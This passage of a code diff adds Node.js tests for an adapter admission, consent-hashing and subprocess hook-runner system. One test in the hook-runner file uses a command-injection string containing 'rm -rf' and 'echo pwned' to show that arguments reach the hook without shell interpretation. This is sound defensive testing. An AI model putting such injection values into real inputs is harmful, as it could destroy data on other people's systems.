+// a bad entry), isolate one bad entry from every other, and refuse a +// built-in-shadowing id. bootstrapHostAdapters must be a true no-op with the +// experimental flag unset. buildAdmittedLifecycleAdapter must route declared +// verbs through an injected hook runner and never fabricate a result for an +// undeclared one. +import { test, beforeEach } from 'node:test'; +import assert from 'node:assert/strict'; +import { + admitAdapters, bootstrapHostAdapters, hashManifest, canonicalizeManifest, SUPPORTED_CONTRACT, +} from '../../src/lib/adapters/admission.mjs'; +import { + applyAdmitted, resetAdmitted, admittedHostIds, effectiveHostRegistry, +} from '../../src/lib/adapters/admitted.mjs'; +import { validateAdapterManifest } from '../../src/lib/adapters/manifest.mjs'; +import { validateLifecycleAdapter } from '../../src/lib/adapters/lifecycle.mjs'; +import { + buildAdmittedLifecycleAdapter, registerAdmittedLifecycle, lifecycleAdapterFor, +} from '../../src/lib/adapters/lifecycle-registry.mjs'; +import { HOST_REGISTRY } from '../../src/lib/adapters/registries.mjs'; + +beforeEach(() => resetAdmitted()); + +function validHost(overrides = {}) { + return { + id: 'hermes', + label: 'Hermes', + install: { bin: 'hermes', externalInstallPolicy: 'detect-never-overwrite' }, + capabilities: { + canDriveSession: true, canBePrimary: false, canRouteActivities: true, + commandStatusline: false, transcripts: true, usage: false, + nativeMcpConfig: false, nativeGuidance: false, + }, + trust: { approvalPolicy: 'unchanged', changes: [] }, + enabledByDefault: false, + configProjection: 'ruflo', + observability: [], + ...overrides, + }; +} + +function validManifest(overrides = {}) { + return { + name: 'hermes', + version: '1.0.0', + contract: 1, + host: validHost(), + detection: { bin: 'hermes' }, + driving: { surfaces: ['acp'] }, + trust: { + changes: [{ + id: 'hermes-subprocess-hooks', kind: 'third-party-adapter', scope: 'project', + owner: 'hermes', value: 'subprocess hooks', effect: 'run consented lifecycle hooks for hermes', + }], + }, + ...overrides, + }; +} + +/** Consent store that trusts exactly the {name: hash} pairs given. */ +function trustingConsent(trusted = {}) { + return { + recordedHashFor: (name) => trusted[name] ?? null, + isTrusted: (name, hash) => trusted[name] === hash, + }; +} + +const neverCalled = (label) => () => { throw new Error(`${label} must not be called`); }; + +test('SUPPORTED_CONTRACT is 1', () => { + assert.equal(SUPPORTED_CONTRACT, 1); +}); + +test('hashManifest is deterministic and key-order independent', () => { + const a = hashManifest({ a: 1, b: { c: 2, d: 3 } }); + const b = hashManifest({ b: { d: 3, c: 2 }, a: 1 }); + assert.equal(a, b); + assert.notEqual(a, hashManifest({ a: 1, b: { c: 2, d: 4 } })); +}); + +// ── P0-B: locale-independent hash ─────────────────────────────────────────── +// canonicalizeManifest used to sort keys with String#localeCompare, whose +// result depends on the current ICU collation (locale). A key set containing +// a locale-sensitive character (e.g. 'ä') can sort differently under +// different locales, so the SAME manifest could canonicalize — and hash — +// differently on a CI runner or container whose locale differs from where +// consent was originally recorded, producing a bogus consent-stale refusal +// for a manifest that never actually changed. +test('canonicalizeManifest sorts keys by code unit, not locale collation', () => { + // Sanity check pinning the very drift this fix closes: under this + // process's ICU/locale, localeCompare puts 'ä' BEFORE 'z' — the opposite + // of code-unit order (ä is U+00E4 = 228, z is U+007A = 122). + assert.ok('ä'.localeCompare('z') < 0, 'sanity: this run\'s locale sorts ä before z under localeCompare'); + const canon = canonicalizeManifest({ z: 1, ä: 2, a: 3 }); + assert.ok( + canon.indexOf('"z"') < canon.indexOf('"ä"'), + `expected code-unit order (z before ä — NOT locale-collated), got: ${canon}`, + ); +}); + +test('hashManifest is stable across key permutations even with locale-sensitive characters', () => { + const a = hashManifest({ z: 1, ä: 2, a: 3 }); + const b = hashManifest({ a: 3, z: 1, ä: 2 }); + const c = hashManifest({ ä: 2, a: 3, z: 1 }); + assert.equal(a, b); + assert.equal(b, c); +}); + +test('a trusted, well-formed entry is admitted', async () => { + const manifest = validateAdapterManifest(validManifest()); + const hash = hashManifest(manifest); + const results = await admitAdapters({ + cfg: { hostAdapters: [{ name: 'hermes', source: 'mem://hermes' }] }, + readManifest: async () => validManifest(), + consent: trustingConsent({ hermes: hash }), + }); + assert.equal(results.length, 1); + assert.equal(results[0].admitted, true); + assert.equal(results[0].entry.id, 'hermes'); +}); + +test('missing consent is refused with reason consent-required', async () => { + const results = await admitAdapters({ + cfg: { hostAdapters: [{ name: 'hermes', source: 'mem://hermes' }] }, + readManifest: async () => validManifest(), + consent: trustingConsent({}), + }); + assert.equal(results[0].admitted, false); + assert.equal(results[0].reason, 'consent-required'); +}); + +test('a stale (mismatched) consent hash is refused with reason consent-stale', async () => { + const results = await admitAdapters({ + cfg: { hostAdapters: [{ name: 'hermes', source: 'mem://hermes' }] }, + readManifest: async () => validManifest(), + consent: trustingConsent({ hermes: 'not-the-real-hash' }), + }); + assert.equal(results[0].admitted, false); + assert.equal(results[0].reason, 'consent-stale'); +}); + +test('an unsupported contract version is refused before consent is even consulted', async () => { + const results = await admitAdapters({ + cfg: { hostAdapters: [{ name: 'hermes', source: 'mem://hermes' }] }, + readManifest: async () => validManifest({ contract: 2 }), + consent: { recordedHashFor: neverCalled('consent.recordedHashFor'), isTrusted: neverCalled('consent.isTrusted') }, + }); + assert.equal(results[0].admitted, false); + assert.equal(results[0].reason, 'contract-version'); +}); + +test('an entry claiming a built-in host id is refused, shadowing a built-in', async () => { + const builtinId = HOST_REGISTRY[0].id; + const results = await admitAdapters({ + cfg: { hostAdapters: [{ name: builtinId, source: 'mem://shadow' }] }, + readManifest: async () => validManifest({ name: builtinId, host: validHost({ id: builtinId }) }), + consent: { recordedHashFor: neverCalled('consent.recordedHashFor'), isTrusted: neverCalled('consent.isTrusted') }, + }); + assert.equal(results[0].admitted, false); + assert.equal(results[0].reason, 'builtin-shadow'); +}); + +test('a manifest cap violation (e.g. canBePrimary) is refused with the schema-layer reason', async () => { + const results = await admitAdapters({ + cfg: { hostAdapters: [{ name: 'hermes', source: 'mem://hermes' }] }, + readManifest: async () => validManifest({ + host: validHost({ capabilities: { ...validHost().capabilities, canBePrimary: true } }), + }), + consent: trustingConsent({}), + }); + assert.equal(results[0].admitted, false); + assert.equal(results[0].reason, 'cap-can-be-primary'); +}); + +test('an unreadable manifest source is refused, isolated from a good sibling entry', async () => { + const goodManifest = validateAdapterManifest(validManifest()); + const goodHash = hashManifest(goodManifest); + const results = await admitAdapters({ + cfg: { + hostAdapters: [ + { name: 'broken', source: 'mem://broken' }, + { name: 'hermes', source: 'mem://hermes' }, + ], + }, + readManifest: async (source) => { + if (source === 'mem://broken') throw new Error('ENOENT: no such file'); + return validManifest(); + }, + consent: trustingConsent({ hermes: goodHash }), + }); + assert.equal(results.length, 2); + const broken = results.find((r) => r.name === 'broken'); + const good = results.find((r) => r.name === 'hermes'); + assert.equal(broken.admitted, false); + assert.equal(broken.reason, 'manifest-unreadable'); + assert.equal(good.admitted, true); +}); + +test('flag-off bootstrapHostAdapters is a true no-op: no readManifest/consent call, no output, no overlay change', async () => { + const before = effectiveHostRegistry(); + const result = await bootstrapHostAdapters({ + cfg: { hostAdapters: [{ name: 'hermes', source: 'mem://hermes' }] }, + env: {}, // AK_EXPERIMENTAL_HOST_ADAPTERS unset + readManifest: neverCalled('readManifest'), + consent: { recordedHashFor: neverCalled('consent.recordedHashFor'), isTrusted: neverCalled('consent.isTrusted') }, + }); + assert.deepEqual(result, { active: false, admitted: [], warnings: [] }); + assert.equal(effectiveHostRegistry(), before, 'overlay must be untouched'); + assert.equal(effectiveHostRegistry(), HOST_REGISTRY); +}); + +test('flag-on but no configured adapters is also a no-op', async () => { + const result = await bootstrapHostAdapters({ + cfg: { hostAdapters: [] }, + env: { AK_EXPERIMENTAL_HOST_ADAPTERS: '1' }, + readManifest: neverCalled('readManifest'), + consent: { recordedHashFor: neverCalled('consent.recordedHashFor'), isTrusted: neverCalled('consent.isTrusted') }, + }); + assert.deepEqual(result, { active: false, admitted: [], warnings: [] }); +}); + +test('flag-on with a trusted entry admits it and applies the overlay', async () => { + const manifest = validateAdapterManifest(validManifest()); + const hash = hashManifest(manifest); + const result = await bootstrapHostAdapters({ + cfg: { hostAdapters: [{ name: 'hermes', source: 'mem://hermes' }] }, + env: { AK_EXPERIMENTAL_HOST_ADAPTERS: '1' }, + readManifest: async () => validManifest(), + consent: trustingConsent({ hermes: hash }), + }); + assert.equal(result.active, true); + assert.equal(result.admitted.length, 1); + assert.deepEqual(result.warnings, []); + assert.deepEqual(admittedHostIds(), ['hermes']); + assert.equal(effectiveHostRegistry().length, HOST_REGISTRY.length + 1); +}); + +// ── overlay ────────────────────────────────────────────────────────────── + +test('effectiveHostRegistry returns the built-in registry (same reference) when nothing is admitted', () => { + assert.equal(effectiveHostRegistry(), HOST_REGISTRY); +}); + +test('effectiveHostRegistry returns builtins + external once applyAdmitted runs', () => { + applyAdmitted([{ entry: validHost({ id: 'hermes' }) }]); + const combined = effectiveHostRegistry(); + assert.equal(combined.length, HOST_REGISTRY.length + 1); + assert.deepEqual(admittedHostIds(), ['hermes']); + assert.ok(HOST_REGISTRY.every((host) => combined.includes(host))); +}); + +// ── P2 finding 4: applyAdmitted rejects non-conforming entries + deep-freezes ─ +// applyAdmitted must only ever accept genuine admission output — a raw, +// hand-built object bypassing validateHostAdapter entirely (e.g. one that +// claims canBePrimary:true) must be rejected, not silently join +// effectiveHostRegistry(); and every entry it does accept must be deeply +// frozen so a caller holding a reference can't mutate a "trusted" host's +// capabilities after the fact. + +test('applyAdmitted rejects a raw entry that bypasses validateHostAdapter (incomplete shape)', () => { + assert.throws( + () => applyAdmitted([{ id: 'raw-evil', capabilities: { canBePrimary: true } }]), + /label/, + ); + assert.deepEqual(admittedHostIds(), [], 'the overlay must not have been mutated by a rejected call'); +}); + +test('applyAdmitted deep-freezes every stored entry (and its nested capabilities/install/trust)', () => { + applyAdmitted([{ entry: validHost({ id: 'hermes' }) }]); + const entry = effectiveHostRegistry().find((host) => host.id === 'hermes'); + assert.ok(Object.isFrozen(entry), 'the entry itself must be frozen'); + assert.ok(Object.isFrozen(entry.capabilities), 'nested capabilities must be frozen too'); + assert.ok(Object.isFrozen(entry.install), 'nested install must be frozen too'); + assert.throws(() => { 'use strict'; entry.capabilities.canBePrimary = true; }, TypeError); + assert.equal(entry.capabilities.canBePrimary, false, 'the mutation attempt must not have taken effect'); +}); + +// ── derived lifecycle ──────────────────────────────────────────────────── + +test('buildAdmittedLifecycleAdapter satisfies validateLifecycleAdapter and routes a declared verb through the injected hook', async () => { + const manifest = validateAdapterManifest(validManifest({ + lifecycle: { detect: { hook: { command: ['hermes', 'detect'], timeoutMs: 5000 } } }, + })); + const calls = []; + const runHook = async (args) => { + calls.push(args); + return { ok: true, stdout: JSON.stringify({ observed: { version: '1.0.0' } }), exitCode: 0 }; + }; + const adapter = buildAdmittedLifecycleAdapter(manifest, { runHook }); + assert.doesNotThrow(() => validateLifecycleAdapter(adapter)); + + const detected = await adapter.detect({ env: { X: '1' } }); + assert.deepEqual(detected, { observed: { version: '1.0.0' } }); + assert.equal(calls.length, 1); + assert.equal(calls[0].hostId, 'hermes'); + assert.equal(calls[0].verb, 'detect'); + assert.equal(calls[0].timeoutMs, 5000); + assert.deepEqual(calls[0].hook.command, ['hermes', 'detect']); +}); + +test('buildAdmittedLifecycleAdapter gives an honest no-op for an undeclared verb (never calls the hook)', async () => { + const manifest = validateAdapterManifest(validManifest({ + lifecycle: { detect: { hook: { command: ['hermes', 'detect'] } } }, + })); + const adapter = buildAdmittedLifecycleAdapter(manifest, { runHook: neverCalled('runHook') }); + const result = await adapter.apply({}); + assert.equal(result.ok, true); + assert.equal(result.changed, false); +}); + +test('buildAdmittedLifecycleAdapter reports a hook failure honestly instead of fabricating success', async () => { + const manifest = validateAdapterManifest(validManifest({ + lifecycle: { verify: { hook: { command: ['hermes', 'verify'] } } }, + })); + const runHook = async () => ({ ok: false, stdout: 'boom', exitCode: 1 }); + const adapter = buildAdmittedLifecycleAdapter(manifest, { runHook }); + const result = await adapter.verify({}); + assert.equal(result.observed, null); + assert.equal(result.error, 'boom'); +}); + +test('registerAdmittedLifecycle checks effectiveHostRegistry, not HOST_REGISTRY, and is retrievable via lifecycleAdapterFor', () => { + applyAdmitted([{ entry: validHost({ id: 'hermes' }) }]); + const manifest = validateAdapterManifest(validManifest()); + const runHook = async () => ({ ok: true, stdout: '{}', exitCode: 0 }); + const registered = registerAdmittedLifecycle(manifest, { runHook }); + assert.equal(lifecycleAdapterFor('hermes'), registered); +}); + +test('registerAdmittedLifecycle throws for a host id absent from effectiveHostRegistry', () => { + const manifest = validateAdapterManifest(validManifest({ name: 'ghost', host: validHost({ id: 'ghost' }) })); + assert.throws(() => registerAdmittedLifecycle(manifest), /ghost/); +}); diff --git a/tests/kit/adapter-conformance.test.mjs b/tests/kit/adapter-conformance.test.mjs new file mode 100644 index 0000000..9483396 --- /dev/null +++ b/tests/kit/adapter-conformance.test.mjs @@ -0,0 +1,313 @@ +// Adapter Contract Dossier — BLACK-BOX conformance harness. Every other +// adapter-*.test.mjs file exercises admission/manifest/hook-runner as UNIT +// tests with in-memory manifests and injected readManifest/runHook stubs. +// This file is the graduation artifact ADR-0029 names: a REAL fixture +// adapter (tests/fixtures/adapters/acme/) admitted through the REAL +// admitAdapters, with a REAL on-disk consent record, whose declared +// lifecycle hook is a REAL subprocess actually spawned through the REAL +// hook-runner — proving the contract end-to-end, not just at the unit +// boundary (ruflo ADR-102: black-box subprocess tests against an installed +// layout catch what unit tests miss). +// +// A future external adapter (Hermes, first) is expected to pass this same +// shape of test against ITS OWN manifest — runConformanceReport() is +// exported so a future `ak adapters conformance` command or CI step can +// reuse this exact sequence instead of re-implementing it. +import { test, before } from 'node:test'; +import assert from 'node:assert/strict'; +import fs from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { validateAdapterManifest } from '../../src/lib/adapters/manifest.mjs'; +import { admitAdapters, hashManifest } from '../../src/lib/adapters/admission.mjs'; +import { + applyAdmitted, resetAdmitted, effectiveHostRegistry, admittedHostIds, +} from '../../src/lib/adapters/admitted.mjs'; +import { + recordConsent, recordedHashFor, isTrusted, revokeConsent, +} from '../../src/lib/adapters/consent.mjs'; +import { registerAdmittedLifecycle } from '../../src/lib/adapters/lifecycle-registry.mjs'; + +// Resolved relative to THIS file via fileURLToPath, never a hardcoded +// repo-absolute or monorepo-sibling path (ruflo #2912 counter-example) — so +// the harness works whether it runs from a checkout or an installed layout. +const FIXTURE_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../fixtures/adapters/acme'); + +const NEGATIVE_CORPUS = [ + ['a manifest claiming host.capabilities.canBePrimary', 'can-be-primary.json', 'acme-primary', 'cap-can-be-primary'], + ['a manifest with a path-traversal guidanceFile', 'guidance-traversal.json', 'acme-legacy', 'invalid-guidance-file'], + ['a manifest declaring an unsupported contract version', 'contract-two.json', 'acme-v2', 'contract-version'], + ["a manifest shadowing the built-in 'claude' host id", 'shadow-claude.json', 'claude', 'builtin-shadow'], +]; + +/** + * The manifest contract has no path-resolution policy of its own yet + * (hook.command is just "a non-empty array of non-empty strings" — + * manifest.mjs never inspects the values). A real installed adapter would + * need SOME resolution step to turn a portable manifest's declared command + * into a locally-runnable one; that step doesn't exist in src/ today, so + * this is a minimal, test-owned stand-in: the literal token 'node' becomes + * process.execPath (never a bare PATH-searched 'node' — the same portability + * concern the hook-runner tests already document), and a relative *.mjs + * argument is resolved against the fixture's own directory (where the + * committed hook script actually lives), not the CWD. + */ +function resolveManifestCommands(raw, hookDir) { + if (!raw || typeof raw !== 'object' || !raw.lifecycle || typeof raw.lifecycle !== 'object') return raw; + const lifecycle = {}; + for (const [verb, entry] of Object.entries(raw.lifecycle)) { + if (!entry?.hook?.command) { lifecycle[verb] = entry; continue; } + const command = entry.hook.command.map((part) => { + if (part === 'node') return process.execPath; + if (part.endsWith('.mjs') && !path.isAbsolute(part)) return path.join(hookDir, part); + return part; + }); + lifecycle[verb] = { ...entry, hook: { ...entry.hook, command } }; + } + return { ...raw, lifecycle }; +} + +/** admitAdapters' readManifest contract: `(source) => Promise`. A REAL + * fs read of a REAL file — nothing about this fixture's admission path is + * in-memory. */ +async function readManifestFromFile(source) { + const text = fs.readFileSync(source, 'utf8'); + return resolveManifestCommands(JSON.parse(text), FIXTURE_ROOT); +} + +function consentStoreFor(file) { + return { + recordedHashFor: (name) => recordedHashFor(name, { file }), + isTrusted: (name, hash) => isTrusted(name, hash, { file }), + }; +} + +const neverCalled = (label) => () => { throw new Error(`${label} must not be called`); }; + +/** + * Run the full black-box conformance sequence against a fixture bundle and + * return a numeric pass/fail summary — the evidence shape a graduation gate + * (a future `ak` command or CI check) can consume directly. Self-contained: + * builds its own temp consent store, runs every check independently (one + * check's failure doesn't abort the rest — a downstream check that depends + * on an earlier one just fails honestly with its own detail), and cleans up + * after itself. Safe to call more than once in the same process. + * @param {{ fixtureRoot?: string }} [options] + * @returns {Promise<{ total: number, passed: number, failed: number, + * checks: Array<{ name: string, ok: boolean, detail?: string }> }>} + */ +export async function runConformanceReport({ fixtureRoot = FIXTURE_ROOT } = {}) { + const checks = []; + const run = async (name, fn) => { + try { + await fn(); + checks.push({ name, ok: true }); + } catch (error) { + checks.push({ name, ok: false, detail: error?.message ?? String(error) }); + } + }; + + const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'ak-adapter-conformance-')); + const consentFile = path.join(tempDir, 'adapter-consent.json'); + const consent = consentStoreFor(consentFile); + const validManifestPath = path.join(fixtureRoot, 'manifest.json'); + + let validated = null; + let admittedResult = null; + + await run('valid manifest parses, validates, and is admitted through a real on-disk consent record', async () => { + const raw = await readManifestFromFile(validManifestPath); + validated = validateAdapterManifest(raw); + const validHash = hashManifest(validated); + recordConsent('acme', validHash, { file: consentFile }); + const results = await admitAdapters({ + cfg: { hostAdapters: [{ name: 'acme', source: validManifestPath }] }, + readManifest: readManifestFromFile, + consent, + }); + admittedResult = results[0]; + assert.equal(admittedResult?.admitted, true, admittedResult?.detail ?? 'expected admission'); + assert.equal(admittedResult.entry.id, 'acme'); + }); + + await run("admitted 'acme' host joins effectiveHostRegistry()", async () => { + if (!admittedResult?.admitted) throw new Error('prerequisite: valid manifest was not admitted'); + applyAdmitted([admittedResult]); + assert.ok(effectiveHostRegistry().some((host) => host.id === 'acme')); + assert.ok(admittedHostIds().includes('acme')); + }); + + await run("the fixture's declared detect hook runs as a real subprocess and its JSON payload flows back", async () => { + if (!validated) throw new Error('prerequisite: manifest was not validated'); + // No runHook injection: this exercises buildAdmittedLifecycleAdapter's + // real default, a dynamic import of the real hook-runner.mjs — proof + // the whole chain (derived adapter -> hook runner -> spawned Node + // process -> stdout JSON) actually runs, not just that it's wired. + const adapter = registerAdmittedLifecycle(validated); + const detected = await adapter.detect({}); + assert.equal(detected?.observed?.host, 'acme'); + assert.equal(detected?.observed?.bin, 'acme'); + assert.equal(typeof detected?.observed?.pid, 'number'); + }); + + for (const [description, file, cfgName, reason] of NEGATIVE_CORPUS) { + await run(`negative corpus: ${description} is refused with reason '${reason}'`, async () => { + const results = await admitAdapters({ + cfg: { hostAdapters: [{ name: cfgName, source: path.join(fixtureRoot, 'invalid', file) }] }, + readManifest: readManifestFromFile, + // Every reason in the negative corpus fires before consent is even + // consulted (structural cap, contract-version, or builtin-shadow all + // return earlier in admitOne) — proven, not assumed, by making a + // consent lookup here a hard failure. + consent: { recordedHashFor: neverCalled('recordedHashFor'), isTrusted: neverCalled('isTrusted') }, + }); + assert.equal(results[0].admitted, false); + assert.equal(results[0].reason, reason, results[0].detail); + }); + } + + await run('edit-invalidation: mutating one byte of the manifest invalidates the prior consent (consent-stale)', async () => { + const rawText = fs.readFileSync(validManifestPath, 'utf8'); + if (!rawText.includes('"1.0.0"')) throw new Error("fixture no longer declares version '1.0.0' — update this byte-mutation"); + const mutatedText = rawText.replace('"1.0.0"', '"1.0.1"'); + assert.notEqual(mutatedText, rawText); + const mutatedRaw = resolveManifestCommands(JSON.parse(mutatedText), fixtureRoot); + const results = await admitAdapters({ + cfg: { hostAdapters: [{ name: 'acme', source: 'mem://acme-mutated-by-conformance-report' }] }, + readManifest: async () => mutatedRaw, + consent, // same store — still holds the ORIGINAL (pre-mutation) hash + }); + assert.equal(results[0].admitted, false); + assert.equal(results[0].reason, 'consent-stale'); + }); + + resetAdmitted(); + try { fs.rmSync(tempDir, { recursive: true, force: true }); } catch { /* best-effort cleanup */ } + + const passed = checks.filter((c) => c.ok).length; + return { total: checks.length, passed, failed: checks.length - passed, checks }; +} + +// ── node:test wiring: run the report once, assert each check individually ── +// so `node --test` reports itemized pass/fail, while runConformanceReport +// itself stays a plain, framework-independent async function. + +let report; +before(async () => { + report = await runConformanceReport(); +}); + +function assertCheck(name) { + const found = report.checks.find((c) => c.name === name); + assert.ok(found, `no such check recorded: ${name}`); + assert.equal(found.ok, true, found.detail); +} + +test('valid manifest parses, validates, and is admitted through a real on-disk consent record', () => { + assertCheck('valid manifest parses, validates, and is admitted through a real on-disk consent record'); +}); + +test("admitted 'acme' host joins effectiveHostRegistry()", () => { + assertCheck("admitted 'acme' host joins effectiveHostRegistry()"); +}); + +test("the fixture's declared detect hook runs as a real subprocess and its JSON payload flows back", () => { + assertCheck("the fixture's declared detect hook runs as a real subprocess and its JSON payload flows back"); +}); + +for (const [description, , , reason] of NEGATIVE_CORPUS) { + const name = `negative corpus: ${description} is refused with reason '${reason}'`; + test(name, () => assertCheck(name)); +} + +test('edit-invalidation: mutating one byte of the manifest invalidates the prior consent (consent-stale)', () => { + assertCheck('edit-invalidation: mutating one byte of the manifest invalidates the prior consent (consent-stale)'); +}); + +test('runConformanceReport reports a clean pass with no failures', () => { + assert.equal(report.failed, 0, JSON.stringify(report.checks.filter((c) => !c.ok), null, 2)); + assert.equal(report.total, 8); + assert.equal(report.passed, 8); +}); + +// ── GAP CLOSED (Wave 4 security remediation, P0-A): consent hashing used to +// be scoped to the validated schema, not the manifest's full content ─────── +// +// ADR-0029 §6 states the design intent plainly: "computes a content hash +// over the manifest... attached to a specific byte sequence, never to an +// identity that content can silently drift underneath." validateAdapterManifest +// used to reconstruct a literal object from exactly seven known keys (name, +// version, contract, host, detection, driving, lifecycle?, trust) and +// hashManifest hashed THAT — so any top-level key outside that set, +// including one that reads as an executable-looking hook declaration like +// "postInstall", was silently DROPPED before hashing rather than rejected. +// A recorded consent could therefore cover content the operator never +// reviewed. +// +// manifest.mjs now allowlists every top-level (and host/host.install/ +// host.legacy) key: an unrecognized field is refused outright — 'unknown- +// field' — before validation even reaches the host/detection/driving +// sub-validators, so it can never reach hashManifest at all. +// +// tests/fixtures/adapters/acme/manifest-with-extraneous-field.json is +// manifest.json plus one added top-level "postInstall" key — kept as the +// fixture proving this exact class of attack is now closed, not merely +// documented. +test('GAP CLOSED: an added top-level field outside the schema is refused, not silently dropped before hashing', async () => { + const validRaw = await readManifestFromFile(path.join(FIXTURE_ROOT, 'manifest.json')); + const extraRaw = await readManifestFromFile(path.join(FIXTURE_ROOT, 'manifest-with-extraneous-field.json')); + assert.ok('postInstall' in extraRaw, 'fixture sanity: the extra field must actually be present in the raw JSON'); + + const validated = validateAdapterManifest(validRaw); + assert.throws(() => validateAdapterManifest(extraRaw), (error) => { + assert.equal(error.reason, 'unknown-field'); + assert.match(error.message, /postInstall/); + return true; + }); + + const hash = hashManifest(validated); + + // Consequence, proven end-to-end: a manifest carrying the extraneous field + // is refused by the real admission gate itself — reason 'unknown-field', + // BEFORE consent is even consulted — never silently admitted under a + // consent recorded for the original (extra-field-free) manifest. + const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'ak-adapter-conformance-gap-')); + const consentFile = path.join(tempDir, 'adapter-consent.json'); + try { + recordConsent('acme', hash, { file: consentFile }); + const results = await admitAdapters({ + cfg: { hostAdapters: [{ name: 'acme', source: path.join(FIXTURE_ROOT, 'manifest-with-extraneous-field.json') }] }, + readManifest: readManifestFromFile, + consent: { recordedHashFor: neverCalled('recordedHashFor'), isTrusted: neverCalled('isTrusted') }, + }); + assert.equal(results[0].admitted, false, 'the manifest with the added field must never be admitted'); + assert.equal(results[0].reason, 'unknown-field'); + } finally { + fs.rmSync(tempDir, { recursive: true, force: true }); + } +}); + +// ── P2 finding 8: revokeConsent must not walk the prototype chain ────────── +// `name in store` (the `in` operator) checks the prototype chain, not just +// own properties. revokeConsent('constructor') — or 'toString', +// 'hasOwnProperty', ... — used to read true off Object.prototype and report +// having revoked consent for an adapter that was never actually consented +// to, which is a lie a caller (a future `ak host adapters` CLI) could act on. +test("revokeConsent('constructor') on a store that never consented to it returns false, not a prototype-chain lie", () => { + const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'ak-adapter-conformance-consent-')); + const consentFile = path.join(tempDir, 'adapter-consent.json'); + try { + for (const protoName of ['constructor', 'toString', 'hasOwnProperty', '__proto__']) { + assert.equal(revokeConsent(protoName, { file: consentFile }), false, + `revokeConsent('${protoName}') on a never-consented store must be false, not a prototype-chain hit`); + } + // A REAL consented adapter must still revoke correctly (own-property path + // still works; this isn't just "everything returns false now"). + recordConsent('acme', 'deadbeef', { file: consentFile }); + assert.equal(revokeConsent('acme', { file: consentFile }), true); + assert.equal(recordedHashFor('acme', { file: consentFile }), null); + } finally { + fs.rmSync(tempDir, { recursive: true, force: true }); + } +}); diff --git a/tests/kit/adapter-hook-runner.test.mjs b/tests/kit/adapter-hook-runner.test.mjs new file mode 100644 index 0000000..2ac5dd3 --- /dev/null +++ b/tests/kit/adapter-hook-runner.test.mjs @@ -0,0 +1,178 @@ +import { test } from 'node:test'; +import assert from 'node:assert/strict'; +import fs from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { runAdapterHook } from '../../src/lib/adapters/hook-runner.mjs'; +import { + recordedHashFor, isTrusted, recordConsent, revokeConsent, adapterConsentPath, +} from '../../src/lib/adapters/consent.mjs'; + +const NODE = process.execPath; + +test('happy path: an echo script runs and returns ok with captured stdout', async () => { + const result = await runAdapterHook({ + hook: { command: [NODE, '-e', "console.log('hello-hook')"] }, + hostId: 'claude', verb: 'discover', + }); + assert.equal(result.ok, true); + assert.equal(result.exitCode, 0); + assert.equal(result.detail, null); + assert.ok(result.stdout.includes('hello-hook'), result.stdout); +}); + +test('argv arrives literally — no shell, so shell metacharacters never execute', async () => { + const literal = '; rm -rf /tmp/should-not-run && echo pwned'; + const result = await runAdapterHook({ + // `node -e` has no script-path slot, so the first extra argv entry lands + // at process.argv[1] (verified empirically, not assumed). + hook: { command: [NODE, '-e', 'console.log(process.argv[1])', literal] }, + hostId: 'claude', verb: 'discover', + }); + assert.equal(result.ok, true); + // Strongest proof of no shell interpretation: the single logged line is + // exactly the literal, unsplit and unexpanded. If a shell had interpreted + // it, stdout would instead show an `rm` failure followed by a bare + // "pwned" line from the injected `echo`. + assert.equal(result.stdout.trim(), literal); +}); + +test('a nonexistent binary reports ok:false without throwing', async () => { + const result = await runAdapterHook({ + hook: { command: ['definitely-not-a-real-binary-xyz123'] }, + hostId: 'claude', verb: 'discover', + }); + assert.equal(result.ok, false); + assert.equal(result.exitCode, null); + assert.equal(result.stdout, ''); + assert.ok(typeof result.detail === 'string' && result.detail.length > 0); +}); + +test('a hook that outlives its timeout is killed and reports ok:false with captured-so-far output', async () => { + const result = await runAdapterHook({ + hook: { + command: [NODE, '-e', "console.log('before-sleep'); setTimeout(() => {}, 60000);"], + }, + hostId: 'claude', verb: 'discover', timeoutMs: 200, + }); + assert.equal(result.ok, false); + assert.equal(result.exitCode, null); + assert.ok(result.stdout.includes('before-sleep'), result.stdout); + assert.ok(/timed out/i.test(result.detail ?? ''), result.detail); +}); + +test('hook.timeoutMs and the caller timeoutMs both apply — the tighter one wins', async () => { + // hook declares a generous 60s budget; the caller imposes a much tighter + // 200ms ceiling. The call must not wait anywhere near 60s. + const start = Date.now(); + const result = await runAdapterHook({ + hook: { + command: [NODE, '-e', 'setTimeout(() => {}, 60000);'], + timeoutMs: 60_000, + }, + hostId: 'claude', verb: 'discover', timeoutMs: 200, + }); + const elapsedMs = Date.now() - start; + assert.equal(result.ok, false); + assert.ok(elapsedMs < 5_000, `expected the tighter 200ms timeout to win, took ${elapsedMs}ms`); +}); + +test('combined stdout+stderr output is capped at 256KB with a truncation marker', async () => { + const result = await runAdapterHook({ + hook: { + command: [NODE, '-e', "process.stdout.write('a'.repeat(400 * 1024));"], + }, + hostId: 'claude', verb: 'discover', + }); + assert.equal(result.ok, true); + assert.ok(Buffer.byteLength(result.stdout, 'utf8') <= 256 * 1024 + 200); + assert.ok(/truncated/i.test(result.stdout)); +}); + +test('env is minimal: PATH is present, an unrelated process.env canary is not', async () => { + process.env.AK_TEST_CANARY_SECRET = 'do-not-leak'; + try { + const result = await runAdapterHook({ + hook: { + command: [NODE, '-e', "console.log(JSON.stringify({ path: process.env.PATH ?? null, canary: process.env.AK_TEST_CANARY_SECRET ?? null }))"], + }, + hostId: 'claude', verb: 'discover', + }); + assert.equal(result.ok, true); + const parsed = JSON.parse(result.stdout.trim()); + assert.ok(parsed.path, 'PATH must be present in the child env'); + assert.equal(parsed.canary, null, 'unrelated process.env entries must not leak to the adapter'); + } finally { + delete process.env.AK_TEST_CANARY_SECRET; + } +}); + +test('caller-passed env entries are forwarded to the hook', async () => { + const result = await runAdapterHook({ + hook: { + command: [NODE, '-e', 'console.log(process.env.AK_TEST_ALLOWED ?? "MISSING")'], + }, + hostId: 'claude', verb: 'discover', env: { AK_TEST_ALLOWED: 'yes' }, + }); + assert.equal(result.ok, true); + assert.ok(result.stdout.includes('yes')); +}); + +test('a non-zero exit is reported as ok:false with the exit code preserved', async () => { + const result = await runAdapterHook({ + hook: { command: [NODE, '-e', 'process.exit(7)'] }, + hostId: 'claude', verb: 'discover', + }); + assert.equal(result.ok, false); + 